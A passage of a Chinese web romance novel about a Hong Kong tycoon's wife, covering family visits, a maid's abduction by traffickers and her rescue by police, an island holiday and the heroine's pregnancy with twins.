成老爷子换了立领衬衫、同色长裤,健朗矍铄,而五姨太穿了件苏绣的淡红色旗袍,配上一双鹿皮镶狐毛的短靴,手腕上戴着一只跟姜沉鱼同色的翡翠手镯,这手镯水头也极好,只不过她上了年纪,肌肤再保养也没有年轻女郎这般肤白胜雪。 五姨太一出场,在场众人心思各异。 成朱莉忍不住冷笑,成文潇夫妻面不改色,眼神却暗含讥诮。 “萧少夫人,就当在自家,别拘谨。” 五姨太很热情,姜沉鱼眸目盈盈,似是没看到五姨太手腕上的翡翠手镯:“多谢五姨太。” “好了,都别客气了。” 成老爷子爽朗大笑,他身边的老管家走了过来,“老爷,萧总裁来拜访您了。” “阿砚这孩子来了?” 成老爷子讶然,一双虎目扫过来,“快去迎接!” “是。” 众人随着成老爷子一道出门,路上成朱莉戳戳姜沉鱼,跟她咬耳朵,“你家那位目的不纯啊,说是来看我爷爷,其实就是来陪太太的。” “啧,你们结婚都半年了,还这么如胶似漆,真是羡煞旁人啊。” 成朱莉在边上打趣,苏韵让她消停点。 “萧少夫人脸皮薄,不想你皮糙肉厚。” 姜沉鱼淡定自若,表示自己脸皮也挺厚的,这点攻击对她没什么影响。 苏韵:“” 这位萧少夫人也是有趣,怪不得能跟自家小姑子一见如故。 原来是同一类人。 * 成家庄园外,萧砚一身深色西装,宽肩窄腰,面容俊美站在那里比平日少了几分凌厉冷沉,看着好相处得多。 不过成家的佣人还是离他远远的,恭敬又客气。 “阿砚来了,快请进来。” 成老爷子亲自出门迎接,萧砚走上前同老爷子握手,“成伯父,贸然大前来打扰,请多多海涵。” “你这孩子跟我还这么客气。” 成老爷子朗声道,老爷子态度亲和,萧砚黑眸里也多了几分笑意,平时清归隽冷的性子,如今也跟成家众人淡淡交际。 成家众人也不在乎,萧氏总裁是出了名的冷漠淡然,只要两家合作成功即可,生意场上讲究太多, 只五姨太对此心上不忿,萧砚这个男人还真没有其兄长半分温润的影子。 早知道当年那场车祸 五姨太敛下心中情绪,悄无声息回了庄园。 萧砚回眸看了她一眼,目光冷然似寒刃开锋,让人不敢直视他双目,姜沉鱼察觉到不对劲,过来关心他。 “怎么了,是不是身体不舒服?” 萧砚看到她,锋利眸光一瞬间柔软下来,薄唇勾起,“没事,就是半天不见想你了。” 姜沉鱼:“” 这人真是,不分场合就孔雀开屏。 中午用餐的时候,五姨太称身体不舒服,没有来吃饭。 成老爷子让佣人去照顾她,其余人热热闹闹吃饭。 吃完饭,姜沉鱼去跑马场骑了几圈马,她找到上次骑过的黑棕马,轻轻地摸了摸马儿油光水滑的皮毛,窈窕身姿稳稳跨在马背上,她沿着围墙,四周走了圈。 成文潇跟萧砚在茶室聊天,萧砚目光时不时落在外面,成文潇有感而发,“要是我哥也能得遇爱人,也不至于当了三十多年单身汉了。” 萧砚挑眉,“成总寄情在工作上,也不失其人生乐趣。” 成文潇跟着笑,“也是,没有红袖添香的命,只能当个工作狂人了。” “” 茶室内倒霉的成文滨被亲弟弟吐槽,成家庄园内,萧甜陪着成老爷子散步一圈,回来蹦跶着,“成爷爷,我肚子饿啦。” 成老爷子赶紧把佣人送来的饭盒掀开,一股子香甜的米糕香气扑出来,“好,成爷爷这就给甜甜拿糕吃。” 五姨太要上前帮忙,成老爷子要亲自来,他用筷子夹了五六个枣糕放在小盘里给萧甜吃。 萧甜一口气吃了两个,枣糕甜滋滋的带着红枣、花胶的味道,热腾腾咬一口都是甜。 萧甜吃的美,还不让让成爷爷、叔叔婶婶跟哥哥吃。 成老爷子笑成一朵老菊花,“成爷爷不吃,甜甜吃。” 姜沉鱼骑马回来,巧遇成家二少夫人苏韵,正好闲来无事,便跟她聊了会天。 恰好五姨太生的小儿子开着跑车回来,车上还载着两个妙龄女郎,姜沉鱼好奇看了眼。 五姨太小儿子看见苏韵,彼此都沉了脸色不佳。 姜沉鱼猜到其中有内幕,不动声色没开口。 还是苏韵自己道出其中内幕,“我跟阿潇曾经有一个孩子,因为五姨太儿子挑衅流掉了” 苏韵提起那个孩子,就忍不住落泪。 姜沉鱼安慰她,“你跟二少爷还年轻,以后还会有孩子的。” 萧甜蹬蹬蹬跑过来,小模样雨雪可爱,也跟着婶婶奶声奶气安慰苏韵,“漂亮阿姨不哭,姨姨以后一定会有小弟弟跟小妹妹的。” 苏韵心里那个软啊,从脖子里掏出个翡翠吊坠来就要给萧甜带上。 那翡翠吊坠是个憨态可掬的小兔子,苏韵属兔的,恰好萧甜也属兔。 苏韵心中更是觉得这是天定的缘分,一定要把从小戴到大的翡翠吊坠送给萧甜。 成文潇看了会心一笑。 萧砚勾唇也没讲话。 日子一晃来到了端午节,港城又出了几桩幼童失踪案,警察署同志们夜以继日办案,抓住了一个人贩子,为了审讯那个人贩子,政府还派了个特助警官来协助查案,听说这个警官是德国心理专家出身,在他手里就没有过不了的犯人。 果然人贩子到了警官手里,审了才不过三回,那人贩子就在警官步步紧逼的审问下,心里防线全崩溃了,彻底交代了几名失踪幼童的去处。 不过这人贩子说她把几名失踪幼童卖到了豫南一个地级城市的人贩子,听说人贩子又把孩子卖给了别人,他们所在的几处窝点也被摸清,这也算是重大突破了。 兴奋不已的警察署 警员们按着人贩子交代的线索一一摸索排查,总算是把范围缩小到了某公屋一带。 此刻,天边露出了鱼尾肚,鸡叫三遍,公屋的阿婆起床洒扫,浆洗烹煮,褪去了夜的沉静,码头上也人仰马翻忙闹起来。 港城街头顷刻间就有了烟火气,各类贩卖早食的店铺们忙碌起来,鲜花果铺,摊煎饼的、卖包子馒头的、粽子蛋饺的餐厅的服务员们也精神抖擞,笑容可掬迎接客人。 长街东侧,临靠中环码头,每日一早,货轮上的船工都会到码头吃早餐,在货轮上做工挣钱虽多,可是极累人,偏在船上缺吃少喝,如今天气又热,船工们口腹之欲上来了,天天嚷嚷着吃不饱肚,每次在码头停靠的几天就是众人改善生活的日子。 货轮的船板还没放下,一群船工打扮的阿伯已伸长了脖子往码头上眺望,七嘴八舌讨论着要去岸上吃什么美食,人贩子会趁着人多口杂的时候,混在其中将拐带的失踪幼童运到船上,转运几手卖掉。 这一片有一排排公屋,屋顶上长着茅草和青苔,住户龙蛇混杂,有港城小厂子家属住的大杂院,像是什么糖厂、火柴厂之类的,也有收废品、拉架子车,走家串户的的手艺人,来来往往,什么人都有,阿秋探亲回家,打着伞遇上位迷路的阿婆,她好心送阿婆回家,没想到搀扶着阿婆走在偏僻的巷子里,越走越偏。 这胡同七拐八弄的,就连阿秋这个土生土长的本地人也给走迷糊了,阿秋不由心里打鼓,她想起提包里有豆子,在路上悄悄撒了豆子,做标记,以防不测。 那个阿婆满头白发,一路紧紧攥着阿秋的手,一脸慈祥不住的问。 “靓女你家是港城哪儿的家中有多少兄弟姐妹?” “阿爸阿妈做工的?不回家家里不找啊?” “许了人家没有?” “靓女,你别害羞,男大当婚女大当家,我老婆子手里就有好几个孙子,个个都是好孩子,老婆子给你介绍介绍?” 这阿婆在码头的时候,哭天抹泪的装可怜,这会儿说话连珠炮似的,一双枯瘦如老鹰的手牢牢抓着妙龄女郎,不让他把手抽回去。 阿秋心下起疑,阿婆年纪看着也年逾古稀了,前头在码头拄着拐走路都不利索,下台阶颤颤巍巍,需要人扶着。 现在手上一把子力气,可不像个人到暮年的阿婆能使出来的,要是有多年跟匪贼打交道的警员在场,当场就能看出这阿婆部是乔装打扮的,就是个有多年功夫在身的练家子。 可惜阿秋社会经验少,她想着如何脱身才好,眼角余光扫过一旁的阿婆,阿婆嘴角一扯,露出一抹诡异,让人捉摸不透的笑来,从怀中掏出一包东西,朝这边洒过来。 阿秋心中警铃大作,立时闭住呼吸,可还是为之晚矣,一股异香钻入鼻孔之中,心里大骂这老太婆也忒不讲武德,阿秋手脚登时跟软脚虾一样,软绵绵倒了下来。 老婆子讥笑两声,往巷子里吹了声口哨,漆黑雨暗的巷子里走出两个男人,一个身材魁梧刀疤脸,一个身材干瘦,貌不惊人。 第45章 第45章感谢订阅 “五婆,今天这个货色不如昨天那个靓女。” 刀疤脸挑剔晕倒在地的阿秋,干他们这一行的都喜欢丰臀**的妙龄女子,一来有女人味,二来能卖个好价钱。 阿秋姿色平平,脸蛋清秀,身材也就这样,刀疤脸觉得五婆看走眼了。 干瘦男人也跟着嫌弃起来,五婆枯树皮一样的老脸皮皱起来,呵道,“挑剔什么!这阵子警察署隔三差五仇杀抽查,能有年轻货色就不错了快点把货拖回地窖去,耽误老娘赚钱,剥了你们的皮!” 刀疤脸悻悻住了嘴,朝边上的干瘦男人使了个颜色,两人很轻松就把昏迷的阿秋拖回地窖,捆了手脚,嘴里塞了破布,随意墙角一丢,把地窖门落了锁,用柴禾盖住,吹着口哨喝酒吃肉去了。 街上雨声淅沥,无人发现隐藏在偏僻巷口的黑暗。 阿秋当晚一夜未归,起初家中亲人并未在意,阿秋兄弟姐妹五人,父母为了生计整日奔波劳碌,想着女儿在萧家做工,说不定是有什么事情耽误了,明日再回家,便安心睡下了。 结果一直等到第二日天放晴,阿秋也没回来。 阿秋读大学的弟弟在外面做家教,回到家中没见到大姐,问了父母才晓得,本该休假探亲的大姐一夜未归。 阿秋弟弟神色一变,倏然起身:“大姐一定是出事了,萧家少夫人对姐姐很好,休假的日子不会平白无故留下她。” “真要是有什么事情,大姐也会给家中报信的。” 阿秋一家住的公屋楼下有家老式钟表店,店里老伯装了电话,公屋住户谁家接打电话,拿钱就可以用。 以往阿秋有事不回家,都会往阿伯店里拿电话告知家人。 阿秋家人一听也慌了神,立马放下手中的活计出门寻找,一直找到晚上也没寻到,一家人去了警察署报案。 警察署的警员态度不错,就是办事效率有点不高。 港城这种失踪刚满二十四小时的案子多得是,其中不少人是跟家人闹别扭,故意离家出走让家人着急的。 警员让他们先回家等待。 阿秋一家人心急如焚,哪里能等得住,商量来商量去,阿秋弟弟抱着侥幸心态,决定去萧家老宅一趟,看看大姐是不是因为琐事而没有回家。 初春夜色归暖,窗外摇曳的桂花树冒出了翠叶嫩芽,路边璀璨的路灯,将庭院的树木渲染刀得晶莹剔透。 阿秋昨日探亲回家,没有她在耳边絮叨,姜沉鱼睡到九点才起床。 春风一吹,姜沉鱼卸下冬装,只觉得浑身轻松,她吃过早饭,送了萧砚出门,回来抱着萧甜弹了一上午钢琴。 中午郊外的红酒庄又送了两箱红葡萄酒来,这次送来的葡萄酒颜色鲜艳,果香醇甜,搭配中午吃的杨梅虾跟鲜鱼羹、八宝饭,更加美味。 姜沉鱼留了半箱,打算等朱莉、阿秋回来让她们尝尝。 不知道怎么回事,姜沉鱼这一天左眼皮直跳,吃完晚饭,眼皮还在跳。 郭玉琴看儿媳妇似有心事,关切寻问,“小鱼是不是昨晚没睡好。” “妈咪,没事,可能是最近看英文书看多了。” 郭玉琴就笑开了,“你们年轻人爱看书是好的,也要爱惜自己身体才好。” 此话一句双关,姜沉鱼莹润水眸弯了弯,仪态娴雅,“知道了,妈咪。” 萧长章笑而不语,郭玉琴又跟儿媳妇聊天,直到萧砚回来才放人。 姜沉鱼一回到卧房就放飞自我,一会儿抱着糯米看港剧,一会儿嚷嚷肚子饿,要萧砚下蟹黄面给她吃。 萧砚吻她樱唇,“去餐厅乖乖坐着,蟹黄面马上就好。” 姜沉鱼抱着糯米去坐好,这模样很乖。 萧砚笑笑,洗手去了小厨房,生叔过来送螃蟹,见二少爷亲自下厨,心中颇为高兴。 老宅每晚都会准备夜宵,二少爷还亲自下厨为少夫人下面,小两口感情真好。 姜沉鱼吃了两只肥肥的螃蟹,刚要品尝新出锅的蟹黄面,就在此时,刚才还满面笑意的生叔脚步匆匆赶来。 “二少爷,少夫人,阿秋出事了。” 萧砚敛了敛眉,声音微沉,“出了什么事?” “阿秋昨天探亲回家失踪了。” 姜沉鱼手里的雕花汤匙落进了碗里,明媚的心情倏尔变凉。 “失踪了?” “阿秋好好的,怎么会失踪?” 姜沉鱼着急询问,具体情况生叔也说不出来,他去叫阿秋弟弟过来,两分钟后,一位模样文隽的年轻人急匆匆进来。 阿秋弟弟眼眶发红,熬了一天没睡,连带着眼尾都红了,他一进门连坐也没坐,就将阿秋失踪的事情讲了出来。 姜沉鱼想起最近新闻中报道,港城发生了数起骇人听闻的人口失踪案,这些失踪的都是二十岁出头,在工厂上班的妙龄女郎,从三月上旬开始,隔几天就失踪一个姑娘,不由得心中一沉。 “放心,一切有我在。” 萧砚吻了下她额头,进书房打了通电话。 当天晚上,平日里温吞惯了的警察署警员严阵以待,腰间佩戴警棍、对讲机,目 光锐利地在各大码头、地铁站巡逻。 “阿林,你过来一下。” 在暗处偷摸打盹的警员骤然被叫醒,他听到上司的声音,打了激灵慌忙起身,快步走过去。 经过警察署警员的调查整理,发现第一个失踪的女郎叫阿丽,阿丽是一家茶餐厅的服务员,失踪前在茶餐厅上了一天的班,傍晚阿丽父亲叮嘱大儿子,下班一块儿把闺女接回来,大儿子依言来茶餐厅接妹妹,结果等了一个小时也没等到人。 大儿子担心去问茶餐厅老板娘,老老板娘道,阿丽五点多就出了餐厅,按理说应该早到家了。 阿丽家人察觉不对,一家子赶紧放下手头的活出门找闺女,找了整整一晚上,到第二天凌晨也没找见阿丽,阿丽父亲一时急火攻心,昏了过去,一家人把他送去医院,又耽误了一上午,直到中午才惊慌失措到警察署报案。 阿丽的案件一出,两天之内有好几对父母来报案,无一例外失踪的都是模样姣好,待字闺中的女郎,其中有几个姑娘样貌甚是出众,已经订了亲了,这下子姑娘不见了,亲爸亲妈连带着未婚夫一家都急的跟热锅上的蚂蚁似的。 二十出头的年纪,无疑是人生中最好的年纪,七八个花样年华的姑娘突然消失不见,生不见人死不见影,以前家里人还怕闺女的名声出问题,以后婚嫁出问题,私下里寻人拖着不报警,随着时间推移,做父母的还是坐不住了。 港城警察署经过缜密排查,发觉这是一系列有预谋的绑架拐卖案件,人贩子的目标就是年轻貌美,涉世未深的女郎,利用各种手段把姑娘迷晕,然后运到南洋或者欧洲给白人老男人当享乐,从中牟利。 港城码头和地铁站附近,已将安排了警员值守,严密盘查开往的客人,附近也有便衣四处走动,随时观察四周的动向,荷枪实弹不间断的巡逻。 港城警察署经过调查,总算掌握了一些人贩子的行动轨迹,警察署署长提出一条破案的计策,抛砖引贼,放出诱饵,把人贩子引出来。 警察署署长带人全力破案,接连二十四小时连轴转,几乎到了不眠不休的地步,他们这般尽职尽责,失踪女郎的家属们也不能说什么,只能回家耐心等待。 警察署对此事如此上心,其中原因外人或许不可知,阿秋家人却知道是萧总裁跟少夫人在背后帮了忙。 阿秋家人对此很是感激。 阿秋母亲特意送了新鲜的鱼虾来表达谢意,她是位朴素勤劳的女性,面对萧家少夫人,尽管穿上了最体面的衣裳,也稍显拘谨。 姜沉鱼对阿秋家人印象不错,故而没有拒绝送来的这一筐鱼虾。 不过她也不能白拿阿秋家的鱼虾,当天下午派人送了钱过去。 萧家老宅女佣人被拐走的消息在港城豪门圈子里流传开来。 萧家三房得知这个消息,抑郁许久的大太太、萧佳怡母女顿觉神清气爽,阿秋原先是三房的佣人,还是萧佳怡给萧佳敏下绊子用的一条狗。 当初萧佳怡暗派阿秋,让她找机会推姜沉鱼下水。 阿秋打死不从,那时候已经得罪了大太太母女,后来阿秋走了狗屎运去大房当了佣人。 现在阿秋有了“报应”,被人拐走了甚至有可能被卖到东南亚做暗娼,这种结局可比在牢狱里蹲大狱还让人生不如死。 萧佳怡兴致盎然出门购物,大太太请了两个牌友,在偏厅打麻将,顺便看大房的笑话。 当天晚上,在码头一处荒废的仓库内,五婆正一脸阴鹜的盯着外面起伏的海浪。 这几天警察署的警员跟疯狗一般,四处搜查他们的行踪。 五婆跟几个人贩子迫不得己放弃老巢,躲到这处废弃的仓库来,这仓库以前是堆放咸鱼的,又腥又臭。 五婆已经订好了明早七点的船票,要带着最近一批“货物”漂洋过海去东南亚,寻找机会东山再起。 跟随五婆的一个人贩子,身材魁梧,眉峰左侧有处刀疤,侧脖纹着刺青,在仓库外面把守。 码头此刻被黑幕笼罩,海浪一阵阵的拍打着,阿秋被捆住手脚,跟几个姑娘一起困在仓库最后面,就在阿秋绝望的时候,外面突然传来一阵脚步声。 “阿sir,那边有个废弃仓库。” “里面搜查过吗?” “好像没有。” “进去看看。” 不管处有一群警员打着明晃晃的手电往这边赶过来。 五婆几人大惊,也顾不得手上的“货物”,拼命在夜色中逃窜,最后五婆一头跳下大海,刀疤脸几个被抓回来。 阿秋获救后,因为受了惊吓,在家时常做噩梦,阿秋家人去了庙里拜拜,捐一笔香火钱,请个玉佛随身带着,也收效甚微。 姜沉鱼给她放了两周的假,裴特助抓住机会天天往阿秋家跑。 等阿秋养好精神回来,二人关系明显改善不少。 端午节临近,萧成两家的合作告一段落。 萧砚难得有了几日清闲时光,带着姜沉鱼去海岛别墅度假。 萧家海岛别墅里有位老佣人叫菊妈,海岛日头晒烈,姜沉鱼穿着裙子要出门看海,菊妈好心提醒了句。 “二少夫人,外面海风大日照强,穿裙子不如换身长袖长裤舒服。” 姜沉鱼愣了两秒,对着菊妈弯了弯桃花眼,“我没想到这茬,谢谢菊妈提醒。” 菊妈见少夫人听自己的建议,脸上的笑容少了客套多了些真诚,“二少夫人来这边换衣服吧,主卧已经准备好了。” 萧砚眉峰蹙了下,很快又状若无事地松开,拎着姜沉鱼随身携带的那只藤编小箱子跟在后面。 萧总裁自动当苦力,姜沉鱼站在房间门口,还娇声娇气嫌弃他。 “你跟着进来干什么,把藤编箱子放在二楼小厅,你就别过来了。” “好,我不进去。” “也不能站在门口。” “” 姜沉鱼他们来得凑巧,海岛上每逢端午便会举办花灯节,花灯节上,卖桂花糖饼的阿伯看上去面容很和善,酥饼用夹子整齐的摆放在摊子上,酥饼圆圆的,中间点缀着几粒黑色小芝麻,一口咬下去香甜酥脆,舌尖淡淡的桂花甜香。 姜沉鱼买了许多酥饼,味道确实不错,连一向不喜欢吃甜食的菊妈都多吃了一块。 恰逢花灯节来临,海岛家家户户都要在门口点燃灯笼,花灯用竹篾扎框架,内点油灯,外糊花纹纸,纸上写谜语。 到了晚上,海岛街道上璀璨夺目,流光溢彩的烟火也会在深夜相继燃放,别提漂亮了。 当天晚上,姜沉鱼吃到了菊妈蒸好的螃蟹,螃蟹新鲜肉嫩,挑出蟹肠,将膏黄拨到碗里,倒了点姜汁醋,蘸着吃来一口,姜沉鱼满足的眯起了眼睛。 姜沉鱼吃完螃蟹,去浴室泡澡,泡完澡刚进卧房,她整个人就腾空起来,稳稳落进一双强而有力的臂膀。 第46章 第46章感谢订阅 姜沉鱼纤长卷翘的睫毛轻轻颤动了下,“萧砚?” “是我。” 这次出来说是度假,其实萧砚有大半的时间都在书房处理工作,倒是姜沉鱼逍逍遥遥,戴着萧茗兄妹俩跟阿秋逛花灯节,又去海上欣赏落日,着实会享受生活。 萧砚一身笔挺西装,身姿修长,看着俊美矜冷,可贴着她腰际的手掌却滚烫吓人。 姜沉鱼有些心虚,下午出门的时候,她好像答应某人要陪他去散步的。 现在天都黑了,海岛上海风猛烈,还是别出门吹成咸鱼了。 姜沉鱼抵着他胸口,若无其事道,“你的工作忙完了?” 萧砚慢条斯理解开领带,答得理所当然: “没有。” “那你还不去忙工作?” 姜沉鱼找到逃脱的理由,催促萧砚去处理工作。 萧砚池笑了声,视线慢悠悠落在姜沉鱼莹润潋滟的红唇上,轻咬她下唇,“工作也要劳逸结合才好。” 说罢男人薄唇就落了下来,姜沉鱼被他吻得喘不过气,眼尾潋滟带着水, 她迷迷糊糊想起来,今天好像不是安全期 别墅外蔷薇花摇曳,姜沉鱼一觉醒过来,已经是第二天天明了,海岛的阳光从衬窗里照进来,染得卧室一片明亮。 姜沉鱼浑身酸软,下床揉着惺忪睡眼,看萧砚在书房,这厮换了件黑色丝质衬衫,姿态矜贵从容,哪有昨天晚上那不要脸的模样 “宝贝睡醒了?” “” 姜沉鱼昨晚被欺负狠了,这会儿很不想搭理他,拿着英文书在沙发上打磨时光。 萧砚垂眸凝视她几秒,过来抱住她,勾了勾唇:“菊妈早上烧的鱼片粥跟水晶饺子,要不要喝一点?” 姜沉鱼肚子不饿,懒懒打了个哈欠,依偎在萧砚怀里,“我想再睡一会儿。” “好,我抱你去睡。” 萧砚吻她长发,动作轻松抱她回了卧室,姜沉鱼这一觉睡得很香,菊妈的鱼片粥热了又热,阿秋过了看了好几次,姜沉鱼都没醒。 楼下萧茗兄妹俩肚子饿了,他们先吃了早饭。 姜沉鱼一觉睡到十点,楼下厨房空空荡荡,菊妈留下的早餐都被吃光了。 萧总裁亲自下厨,煮了海鲜百合粥跟生煎包。 姜沉鱼眯着眼睛,一口一口吃得很香,最近她的胃口格外好。 吃完早饭,萧砚洗了碗筷,夫妻俩手牵手到海边散步,路上撞见了偷摸约会的裴特助跟阿秋一对小情侣。 菊妈站在旁边笑,“二少爷,少夫人,岛上渔民新送来的螃蟹,下午做海鲜餐。” 说到海鲜餐,姜沉鱼立马来了兴致,过去跟菊妈一起挑新鲜螃蟹。 阿秋听见声响,立马红着脸跑过来帮忙。 裴特助脸皮厚,笑嘻嘻跑过来,“总裁,少夫人中午好。” 萧砚声音平淡,微微颌首,“岛上的游艇准备好了?” “准备好了,岛上的游艇都有专人护理,随时可以登船游玩。” 萧家在海岛上停放着两艘私人游艇,面积都不算大,但是出海游玩却是绰绰有余。 下午天气晴朗,微风中带着咸湿,姜沉鱼换了长裙站在甲板上,欣赏波光粼粼、波澜壮阔的海面,偶然有海鱼在水中翻腾,荡起一阵阵的涟漪。 海风微热,姜沉鱼沐浴着阳光海风,似乎回到了天海碧蓝的江城。 江城也有这样碧蓝的海面。 萧砚看出妻子想念家乡,上前抱住她,轻声道,“想家了?” 姜沉鱼点点头,她不仅想家了,也想念爷爷奶奶菊嫂、想去妈妈墓前上束花,便宜老爸姜建军、姜沉宁,甚至有些怀念跟文燕蓉斗智斗勇的日子。 “下个月有时间,我陪你回一趟家乡。” “好啊。” 姜沉鱼心情大好,踮脚主动亲吻了他一下。 接下来几天,萧砚脸上都带着淡淡的笑意。 姜沉鱼他们在海岛住了三天,就回了港城。 原因有两个,一个是集团事务实在繁忙,根本离不来人,而是端午节马上到了,萧老爷子会回老宅过节。 姜沉鱼这个孙媳妇不在不像样。 五月初五端午节,港城迎来了热热闹闹的节日,萧家老宅很热闹,王妈、吴妈忙着贴五毒符、插菖蒲、艾草。 端午节萧家老宅也要焚香沐浴、祭拜祖先、驱邪避福。 萧老爷子是旧式人,在某些方面顽固的可怕,萧长章、郭玉琴出门会友,他则在月园中亲自插艾草。 姜沉鱼陪着老爷子插艾草,小团子萧甜又盯上了后院开到秾艳的石榴花。 “婶婶,石榴花,漂亮的石榴花。” 萧甜站在石榴花树下,仰着小脸一脸向往,看样子是想摘花。 生叔赶紧叫园丁搬了梯子来,上去摘石榴花。 姜沉鱼有些不解,老宅什么样的花没有,小家伙儿怎么偏偏想跑来摘石榴话呢? 说起这个,生叔的语气就格外沉重,他道,“大少爷以前最喜欢石榴花,小小姐出生的时候恰好在端午附近,大少爷每日抱着小小姐去看石榴花,小小姐一看到石榴花就咯咯笑” 姜沉鱼险些泪目,奇怪她以前可没有这么多愁善感,大概是嫁了人长了几岁的缘故。 傍晚萧砚回到小楼,见水晶花瓶里插了一束层层叠叠盛开的是石榴花,透着初夏的热烈。 姜沉鱼在料理台前吃五毒饼,萧砚长身玉立站在她身后,伸手撩了她的长发,“五毒饼好吃吗?” “还可以,味道很好吃。” “但是也不能多吃,就是吃个味道。” 港城这边的五毒饼,是以五种毒虫为花纹,用玫瑰花瓣当原料,加上白糖跟蜂蜜制成的糕点,味道甜口,吃一块两块可以,吃多了就腻了。 即便是腻口的五毒饼,萧砚也不能吃,他只能喝没有味道的营养液。 姜沉鱼看他面无表情喝下一杯营养液,心中微微发酸,走过去抱住他,鼻尖全是好味的冷沉木香调。 “怎么了?” 萧砚在她额头亲了亲,柔声道: “是不是有什么事吓到你了?” “没有,我累了你抱回去。” “好。” 萧砚抱着姜沉鱼回了卧室,乐极生悲的是第二天姜沉鱼差点没下来床。 * 端午节天气燥热,三房这边,萧老爷子回老宅过节,家里气氛沉闷,一点没有过节的气氛。 三太邓颖梅一早盛装打扮,带着二夫人跟孙女萧思敏出门了,听说是参加船运大王孙女的婚宴。 以往这种风光露面的事情都是大夫人母女出席。 如今二夫人后来居上,不光有了掌家权,还频繁跟随邓颖梅出去交际,把大夫人气到心气浮躁,萧长昌又正大光明带着艾米到处约会,更是让她添堵。 大夫人在家生闷气,萧长昌则在外面逍遥快活,萧佳怡有次出门购物,在中环商场“偶遇”了艾米。 艾米一袭紫色洋装,银白高跟鞋,妩媚身段,同时也生了双斜长勾魂的美眸,走起路来摇曳生姿,手里提着昂贵的名牌包,俨然一副阔太模样。 “萧二小姐。” 艾米美眼流转,主动过来跟萧佳怡打招呼。 萧佳怡眉眼冷眸,神态倨傲,“凭你的身份也敢过来跟我打照顾?!” 艾米微微笑道,“萧二小姐今天心情不太好,咱们改日再见。” 她提着包身姿妩媚离开,留下萧佳怡在原地咬牙,这个下贱的狐狸精,勾得爹地整天跟妈咪吵架,总有一天,萧佳怡会让她付出代价! 艾米大肆购物一番,回了萧长昌送的公寓,她算了算,萧长昌两天没来了,原本答应好的生活费也没让人送来。 艾米精心打扮,去了商行等他,等萧长昌出来,愣了一下,才道:“艾米?” 艾米站起身,软软叫了声:“萧生。” “你怎么来这边了?” 萧长昌其实是有些不悦的,这阵子萧长堂老找他麻烦,还在旺角新开了一家电影院,明摆着是想跟他分家。 艾米找过来,岂不是给萧长堂留下话柄? 艾米轻轻拂了下鬓角,模样楚楚可怜,“萧生人家想你了,就过来等你啊。” 艾米声音能酥入骨头,萧长章很情动,也顾不得上汽,猴急脱下西装外套,抱着艾米进了商行…… 六月港城迎来了梅雨季,潮湿闷热,动不动一身薄汗,姜沉鱼怕晒黑,轻易不出门,只在傍晚的时候,才会出门散散步。 六月中旬,蔡家大女儿蓉蓉过五岁生日。 蔡夫人请姜沉鱼来家中喝咖啡。 姜沉鱼带着萧甜欣然前往,几月不见,蔡夫人依旧风华灼灼,五官浓艳精致,尽管成为了母亲,仍旧是位时髦美貌的贵太太。 蓉蓉对萧甜热情得不行:“甜 甜,我请你去我家的游乐场玩好不好?” 蔡润华是个宠女无度的父亲,在家花费巨资建了一个小型游乐场。 萧甜玩到飞起,傍晚回家还意犹未尽,问明天能不能再去蔡家玩儿。 姜沉鱼回家说给萧砚听。 萧总裁俊眉一挑,“这有什么难的,甜甜爱玩,在家中也建个游乐场好了。” 姜沉鱼正要点点头,萧砚替她掩了掩耳边鬓发,声线低沉柔和。 “游乐场建的大些,等咱们有了宝宝,能陪着甜甜一起玩。” 姜沉鱼:“……” 宝宝什么的,她暂时还没有这个打算呢。 日子转眼到了七月,萧砚整日在集团忙,今天飞欧洲明天飞米国,夫妻俩见面的日子少了不少。 姜沉鱼进来总是犯困,一早上刚起床就昏昏欲睡,撑着精神看了会儿书,阿秋抱着啥晒好的洋装回来,叠得整整齐齐,每个边角都方方正正。 阿秋叠好衣服,她嘴馋想吃梅子糕。 厨房立马做好送来,姜沉鱼捻了块梅子糕刚要吃,脸色发白呕吐起来。 阿秋吓了一跳,立马去请了家庭医生来。 萧家老宅有好几位家庭医生,这次来的是位德高望重的副院长,副院长擅长把脉,一把脉,白胡子一抖一抖的,“滑脉浮动,如珠走盘。” 副院长说话文邹邹地,把王妈他们急得够呛,萧长章则是眉眼一亮。 副院长捋捋白胡子,“这是喜脉,已一月有余。” “恭喜萧少夫人,腹中怀了双胞胎。” 行了,萧家老宅上下都听懂了。 郭玉琴喜不自胜,露出会心笑容,“好,真是太好了。” “王妈,快去给瑶瑶炖补汤,汤要清淡滋补些,给瑶瑶好好补补。” “夫人放心吧。” “生叔叔安排下去,等少夫人醒了,去集团下面的医院全面检查一下。” “好。” 王妈、生叔脚下生风,吴妈也喜滋滋跟着去帮忙。 萧长章也是开心的很,气质清隽,话语一向不多,回去一头扎进书房,翻找古书要给未来孙子孙女起个好名字。 姜沉鱼一直在卧室沉沉昏睡,说起来她运气算好的,一般怀孕了的准妈妈都是吃什么吐什么,让肚子里的小崽子折腾的够呛。 姜沉鱼除了刚怀孕那会儿犯恶心,现在是吃嘛嘛香,一觉睡下去就是大半天。 准妈妈姜沉鱼在家呼呼大睡,萧砚回家知道这个消息,当时人就愣住了,等他进门看到妻子恬静的睡颜,只觉得心里软成一片,卧室台灯柔和,给安睡的姜沉鱼镀上一层柔和安静宁的光晕。 萧砚小心翼翼上了床,动作轻柔地把人抱在怀里,埋在姜沉鱼满是馨香的长发里,无声笑了。 姜沉鱼睡醒之后,得知自己怀了小崽崽,心里倒是没有想象的那般排斥。 有了崽崽就有了崽崽吧。 她整日被萧砚欺负,不怀崽崽才怪。 就是她怀了双胞胎挺让人意外的。 萧老爷子得知孙媳妇有了身孕,欢喜得一夜没睡好,第二日就亲自来老宅探望,还送了一大堆补品来。 老宅上下一片欢腾,三房这边众人五味杂陈。 三太邓颖梅听说萧老爷子给未出世的重孙准备了集团股份,气得好几天没吃下饭。 两个还没出生的小崽子,居然能这么得宠,真是老天不开眼! 远在澳洲的萧家二房更是跟泡在醋缸里一样,酸味直冲云霄。 姜沉鱼对这些一无所知,她被萧砚保护的很好,整日贪睡养身子。 这日她又馋上了冰糖葫芦跟糖渍梅子。 港城每到芒种时节,就是梅子成熟的季节,萧家郊外果园就有片梅子林,里面青梅、乌梅一片一片的,树上的新鲜梅子吃着泛酸,这玩意儿也不顶饿,除了馋嘴的孩子,没人会闲得去摘这东西回来。 